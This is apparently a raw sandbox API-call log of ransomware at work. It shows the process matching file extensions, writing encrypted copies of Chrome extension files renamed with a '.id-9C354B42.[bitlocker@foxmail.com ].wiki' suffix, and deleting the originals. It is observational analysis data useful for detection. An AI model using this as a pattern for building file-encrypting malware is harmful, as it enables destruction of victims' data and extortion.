lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.587] lstrlenW (lpString=".rar") returned 4 [0178.587] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.587] lstrlenW (lpString=".bz2") returned 4 [0178.587] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.587] lstrlenW (lpString=".7z") returned 3 [0178.587] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString=".dbf") returned 4 [0178.587] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString=".1cd") returned 4 [0178.587] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString=".jpg") returned 4 [0178.587] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.587] lstrlenW (lpString=".doc") returned 4 [0178.587] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.587] lstrlenW (lpString=".docx") returned 5 [0178.587] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.587] lstrlenW (lpString=".pdf") returned 4 [0178.587] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.588] lstrlenW (lpString=".xls") returned 4 [0178.588] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.588] lstrlenW (lpString=".xlsx") returned 5 [0178.588] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.588] lstrlenW (lpString=".ppt") returned 4 [0178.588] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.588] lstrlenW (lpString=".zip") returned 4 [0178.588] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.588] lstrlenW (lpString=".rar") returned 4 [0178.588] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.588] lstrlenW (lpString=".bz2") returned 4 [0178.588] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.588] lstrlenW (lpString=".7z") returned 3 [0178.588] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.588] lstrlenW (lpString=".dbf") returned 4 [0178.588] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.588] lstrlenW (lpString=".1cd") returned 4 [0178.588] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 155 [0178.588] lstrlenW (lpString=".jpg") returned 4 [0178.588] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.588] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.588] lstrlenW (lpString="messages.json") returned 13 [0178.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.589] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=617) returned 1 [0178.589] CloseHandle (hObject=0x1b4) returned 1 [0178.589] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json")) returned 0x2020 [0178.589] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.589] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.589] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.590] GetLastError () returned 0x0 [0178.590] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x269, lpOverlapped=0x0) returned 1 [0178.591] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x270, lpOverlapped=0x0) returned 1 [0178.592] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.592] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.592] SetEndOfFile (hFile=0x19c) returned 1 [0178.593] CloseHandle (hObject=0x19c) returned 1 [0178.593] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.593] SetEndOfFile (hFile=0x1b4) returned 1 [0178.593] CloseHandle (hObject=0x1b4) returned 1 [0178.594] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.594] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json")) returned 1 [0178.594] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.594] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.594] lstrlenW (lpString=".doc") returned 4 [0178.594] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.594] lstrlenW (lpString=".docx") returned 5 [0178.594] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.594] lstrlenW (lpString=".pdf") returned 4 [0178.594] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.594] lstrlenW (lpString=".xls") returned 4 [0178.594] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.594] lstrlenW (lpString=".xlsx") returned 5 [0178.594] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.594] lstrlenW (lpString=".ppt") returned 4 [0178.594] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.594] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.594] lstrlenW (lpString=".zip") returned 4 [0178.594] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.594] lstrlenW (lpString=".rar") returned 4 [0178.594] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.594] lstrlenW (lpString=".bz2") returned 4 [0178.595] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.595] lstrlenW (lpString=".7z") returned 3 [0178.595] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString=".dbf") returned 4 [0178.595] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString=".1cd") returned 4 [0178.595] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString=".jpg") returned 4 [0178.595] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString=".doc") returned 4 [0178.595] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.595] lstrlenW (lpString=".docx") returned 5 [0178.595] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.595] lstrlenW (lpString=".pdf") returned 4 [0178.595] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.595] lstrlenW (lpString=".xls") returned 4 [0178.595] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.595] lstrlenW (lpString=".xlsx") returned 5 [0178.595] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.595] lstrlenW (lpString=".ppt") returned 4 [0178.595] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.595] lstrlenW (lpString=".zip") returned 4 [0178.595] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.596] lstrlenW (lpString=".rar") returned 4 [0178.596] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.596] lstrlenW (lpString=".bz2") returned 4 [0178.596] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.596] lstrlenW (lpString=".7z") returned 3 [0178.596] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.596] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.596] lstrlenW (lpString=".dbf") returned 4 [0178.596] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.596] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.596] lstrlenW (lpString=".1cd") returned 4 [0178.596] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.596] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 155 [0178.596] lstrlenW (lpString=".jpg") returned 4 [0178.596] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.596] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.596] lstrlenW (lpString="messages.json") returned 13 [0178.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.597] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=617) returned 1 [0178.597] CloseHandle (hObject=0x1b4) returned 1 [0178.597] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0178.597] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.598] GetLastError () returned 0x0 [0178.598] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x269, lpOverlapped=0x0) returned 1 [0178.600] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x270, lpOverlapped=0x0) returned 1 [0178.927] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.940] SetEndOfFile (hFile=0x19c) returned 1 [0178.940] CloseHandle (hObject=0x19c) returned 1 [0178.940] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.940] SetEndOfFile (hFile=0x1b4) returned 1 [0178.946] CloseHandle (hObject=0x1b4) returned 1 [0178.946] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.946] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json")) returned 1 [0178.955] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.955] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.955] lstrlenW (lpString=".doc") returned 4 [0178.955] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".docx") returned 5 [0178.955] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.955] lstrlenW (lpString=".pdf") returned 4 [0178.955] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".xls") returned 4 [0178.955] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".xlsx") returned 5 [0178.955] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.955] lstrlenW (lpString=".ppt") returned 4 [0178.955] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.955] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.955] lstrlenW (lpString=".zip") returned 4 [0178.955] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".rar") returned 4 [0178.955] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".bz2") returned 4 [0178.955] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.955] lstrlenW (lpString=".7z") returned 3 [0178.955] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.955] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.955] lstrlenW (lpString=".dbf") returned 4 [0178.955] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.956] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.956] lstrlenW (lpString=".1cd") returned 4 [0178.956] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.956] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.956] lstrlenW (lpString=".jpg") returned 4 [0178.956] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.956] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.956] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.956] lstrlenW (lpString=".doc") returned 4 [0178.956] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".docx") returned 5 [0178.956] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.956] lstrlenW (lpString=".pdf") returned 4 [0178.956] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".xls") returned 4 [0178.956] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".xlsx") returned 5 [0178.956] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.956] lstrlenW (lpString=".ppt") returned 4 [0178.956] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.956] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.956] lstrlenW (lpString=".zip") returned 4 [0178.956] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".rar") returned 4 [0178.956] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".bz2") returned 4 [0178.956] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.956] lstrlenW (lpString=".7z") returned 3 [0178.957] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.957] lstrlenW (lpString=".dbf") returned 4 [0178.957] 